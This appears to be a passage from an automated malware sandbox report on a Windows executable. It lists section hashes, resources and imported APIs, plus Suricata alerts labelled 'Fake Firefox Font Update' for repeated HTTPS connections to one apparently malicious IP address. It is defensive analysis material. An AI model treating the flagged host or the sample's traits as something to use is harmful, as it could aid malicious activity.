IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x75754	0x600	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6c4c0	0x6c600	69c4173c38ad27686fb46f69fd79ec91	False	0.5070961288927336	data	6.531494017298441	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x6e000	0x848	0xa00	639613140a642faedd01bff468c3e3cf	False	0.523828125	data	5.552779847613545	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x6f000	0x1f40	0x2000	53b6dd6978c858db7e9faa57954b9c18	False	0.3963623046875	data	3.804120578626792	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x71000	0x36ec	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x75000	0x266e	0x2800	f0f9a1156b641e5ea253cb6ddcaf08ba	False	0.3103515625	data	4.872671403071516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x78000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x79000	0x18	0x200	5b11e123dd9b7f6d94b27d2ad6e9bc83	False	0.05078125	data	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7a000	0x7ce8	0x7e00	3b0f62de599dc8a77438a9e2115a0b81	False	0.6107390873015873	data	6.679791141044884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x82000	0xa1c00	0xa1c00	8e5b14b617cf2ca7bbd558247631f0f7	False	0.5015048420595054	data	7.104149858016797	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x83244	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x83378	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x834ac	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x835e0	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x83714	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x83848	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x8397c	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x83ab0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x83c80	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x83e64	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x84034	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x84204	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x843d4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x845a4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x84774	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x84944	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x84b14	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x84ce4	0x81940	Device independent bitmap graphic, 971 x 182 x 24, image size 530712	English	United States	0.497995297238635
RT_BITMAP	0x106624	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.39864864864864863
RT_BITMAP	0x10674c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x106874	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x10699c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x106a84	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3614864864864865
RT_BITMAP	0x106bac	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x106cd4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.49038461538461536
RT_BITMAP	0x106da4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3716216216216216
RT_BITMAP	0x106ecc	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.2905405405405405
RT_BITMAP	0x106ff4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.38175675675675674
RT_BITMAP	0x10711c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x107244	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x10736c	0xe8	Device independent bitmap graphic, 12 x 16 x 4, image size 128	English	United States	0.3620689655172414
RT_BITMAP	0x107454	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x10757c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x1076a4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x107774	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.36824324324324326
RT_BITMAP	0x10789c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x1079c4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x107aec	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x107c14	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x107d3c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x107e24	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.35135135135135137
RT_BITMAP	0x107f4c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.36486486486486486
RT_BITMAP	0x108074	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x108144	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x10826c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x108394	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x10847c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 40314 x 40314 px/m			0.40560165975103735
RT_DIALOG	0x10aa24	0x52	data			0.7682926829268293
RT_DIALOG	0x10aa78	0x52	data			0.7560975609756098
RT_STRING	0x10aacc	0x35c	data			0.45348837209302323
RT_STRING	0x10ae28	0x2d8	data			0.4642857142857143
RT_STRING	0x10b100	0xc0	data			0.6770833333333334
RT_STRING	0x10b1c0	0xec	data			0.6483050847457628
RT_STRING	0x10b2ac	0x350	data			0.43514150943396224
RT_STRING	0x10b5fc	0x3cc	data			0.37962962962962965
RT_STRING	0x10b9c8	0x388	data			0.4092920353982301
RT_STRING	0x10bd50	0x418	data			0.36736641221374045
RT_STRING	0x10c168	0x140	data			0.515625
RT_STRING	0x10c2a8	0xcc	data			0.6127450980392157
RT_STRING	0x10c374	0x1ec	data			0.5345528455284553
RT_STRING	0x10c560	0x3b0	data			0.326271186440678
RT_STRING	0x10c910	0x354	data			0.4107981220657277
RT_STRING	0x10cc64	0x2a4	data			0.4363905325443787
RT_RCDATA	0x10cf08	0x10	data			1.5
RT_RCDATA	0x10cf18	0x338	data			0.6905339805825242
RT_RCDATA	0x10d250	0x1657c	GIF image data, version 89a, 360 x 360	English	United States	0.594748459285808
RT_RCDATA	0x1237cc	0x369	Delphi compiled form 'TForm1'			0.6071019473081328
RT_GROUP_CURSOR	0x123b38	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x123b4c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x123b60	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b74	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b88	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b9c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123bb0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x123bc4	0x14	data			1.25

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, Polyline, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, lstrcatA, _lread, _lopen, _llseek, _lclose, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	CreateErrorInfo, GetErrorInfo, SetErrorInfo, SysFreeString
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
comdlg32.dll	GetOpenFileNameA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T08:22:59.636291+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	166.62.27.188	443	TCP
2025-01-14T08:23:01.167163+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	166.62.27.188	443	TCP
2025-01-14T08:23:02.813843+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	166.62.27.188	443	TCP
2025-01-14T08:23:04.488009+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	166.62.27.188	443	TCP
2025-01-14T08:23:06.112840+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	166.62.27.188	443	TCP
2025-01-14T08:23:07.733763+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	166.62.27.188	443	TCP
2025-01-14T08:23:09.383947+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	166.62.27.188	443	TCP
2025-01-14T08:23:11.014157+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	166.62.27.188	443	TCP
2025-01-14T08:23:12.619106+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49747	166.62.27.188	443	TCP
2025-01-14T08:23:14.247373+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49749	166.62.27.188	443	TCP
2025-01-14T08:23:15.878852+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49751	166.62.27.188	443	TCP
2025-01-14T08:23:17.483410+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49754	166.62.27.188	443	TCP
2025-01-14T08:23:19.105707+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49760	166.62.27.188	443	TCP
2025-01-14T08:23:20.741081+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49763	166.62.27.188	443	TCP
2025-01-14T08:23:22.393223+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49765	166.62.27.188	443	TCP
2025-01-14T08:23:23.995244+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49767	166.62.27.188	443	TCP
2025-01-14T08:23:25.619767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49769	166.62.27.188	443	TCP
2025-01-14T08:23:27.268780+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49771	166.62.27.188	443	TCP
2025-01-14T08:23:28.914870+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49773	166.62.27.188	443	TCP
2025-01-14T08:23:30.570804+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49775	166.62.27.188	443	TCP
2025-01-14T08:23:32.186581+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49777	166.62.27.188	443	TCP
2025-01-14T08:23:33.822406+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49779	166.62.27.188	443	TCP
2025-01-14T08:23:35.424446+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49781	166.62.27.188	443	TCP
2025-01-14T08:23:37.077766+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49783	166.62.27.188	443	TCP
2025-01-14T08:23:38.713940+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49785	166.62.27.188	443	TCP
2025-01-14T08:23:40.474417+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49787	166.62.27.188	443	TCP
2025-01-14T08:23:42.191342+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49789	166.62.27.188	443	TCP
2025-01-14T08:23:43.829758+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49791	166.62.27.188	443	TCP
2025-01-14T08:23:45.456082+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49793	166.62.27.188	443	TCP
2025-01-14T08:23:47.062353+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49795	166.62.27.188	443	TCP
2025-01-14T08:23:48.660247+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49797	166.62.27.188	443	TCP
2025-01-14T08:23:50.280524+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49799	166.62.27.188	443	TCP
2025-01-14T08:23:51.922767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49801	166.62.27.188	443	TCP
2025-01-14T08:23:53.556382+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49803	166.62.27.188	443	TCP
2025-01-14T08:23:55.165928+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49805	166.62.27.188	443	TCP
2025-01-14T08:23:56.747415+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49808	166.62.27.188	443	TCP
2025-01-14T08:23:58.377559+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49811	166.62.27.188	443	TCP
2025-01-14T08:24:00.013654+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49818	166.62.27.188	443	TCP
2025-01-14T08:24:01.666961+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49830	166.62.27.188	443	TCP
2025-01-14T08:24:03.454204+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49846	166.62.27.188	443	TCP
2025-01-14T08:24:05.066971+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49859	166.62.27.188	443	TCP
2025-01-14T08:24:06.690050+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49871	166.62.27.188	443	TCP
2025-01-14T08:24:08.360097+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49883	166.62.27.188	443	TCP
2025-01-14T08:24:10.096831+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49895	166.62.27.188	443	TCP
2025-01-14T08:24:11.705347+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49907	166.62.27.188	443	TCP
2025-01-14T08:24:13.288550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49919	166.62.27.188	443	TCP
2025-01-14T08:24:14.876986+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49930	166.62.27.188	443	TCP
2025-01-14T08:24:16.470933+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49942	166.62.27.188	443	TCP
2025-01-14T08:24:18.053865+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49954	166.62.27.188	443	TCP
2025-01-14T08:24:19.638587+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49967	166.62.27.188	443	TCP
2025-01-14T08:24:21.390415+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49982	166.62.27.188	443	TCP
2025-01-14T08:24:22.975306+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49992	166.62.27.188	443	TCP
2025-01-14T08:24:24.572059+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50004	166.62.27.188	443	TCP
2025-01-14T08:24:26.184511+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50016	166.62.27.188	443	TCP
2025-01-14T08:24:27.810360+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50028	166.62.27.188	443	TCP
2025-01-14T08:24:29.395592+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50038	166.62.27.188	443	TCP
2025-01-14T08:24:31.000833+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50050	166.62.27.188	443	TCP
2025-01-14T08:24:32.797140+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50061	166.62.27.188	443	TCP
2025-01-14T08:24:34.394719+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50073	166.62.27.188	443	TCP
2025-01-14T08:24:35.989680+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50087	166.62.27.188	443	TCP
2025-01-14T08:24:37.609406+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50099	166.62.27.188	443	TCP
2025-01-14T08:24:39.409907+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50112	166.62.27.188	443	TCP
2025-01-14T08:24:41.055359+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50124	166.62.27.188	443	TCP
2025-01-14T08:24:42.806841+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50129	166.62.27.188	443	TCP
2025-01-14T08:24:44.404774+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50131	166.62.27.188	443	TCP
2025-01-14T08:24:46.721262+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50133	166.62.27.188	443	TCP
2025-01-14T08:24:48.303889+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50135	166.62.27.188	443	TCP
2025-01-14T08:24:49.896063+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50137	166.62.27.188	443	TCP
2025-01-14T08:24:51.499235+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50139	166.62.27.188	443	TCP
2025-01-14T08:24:53.082164+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50141	166.62.27.188	443	TCP
2025-01-14T08:24:54.782093+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50143	166.62.27.188	443	TCP
2025-01-14T08:24:56.382168+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50145	166.62.27.188	443	TCP
2025-01-14T08:24:58.007807+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50147	166.62.27.188	443	TCP
2025-01-14T08:24:59.617140+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50149	166.62.27.188	443	TCP
2025-01-14T08:25:01.343332+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50151	166.62.27.188	443	TCP
2025-01-14T08:25:02.976140+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50153	166.62.27.188	443	TCP
2025-01-14T08:25:04.590604+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50155	166.62.27.188	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:22:58.299256086 CET	49730	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:58.299295902 CET	443	49730	166.62.27.188	192.168.2.4
Jan 14, 2025 08:22:58.299371004 CET	49730	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:58.299510002 CET	49730	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:58.299607992 CET	443	49730	166.62.27.188	192.168.2.4
Jan 14, 2025 08:22:58.299679041 CET	49730	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:58.324261904 CET	49731	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:58.324312925 CET	443	49731	166.62.27.188	192.168.2.4
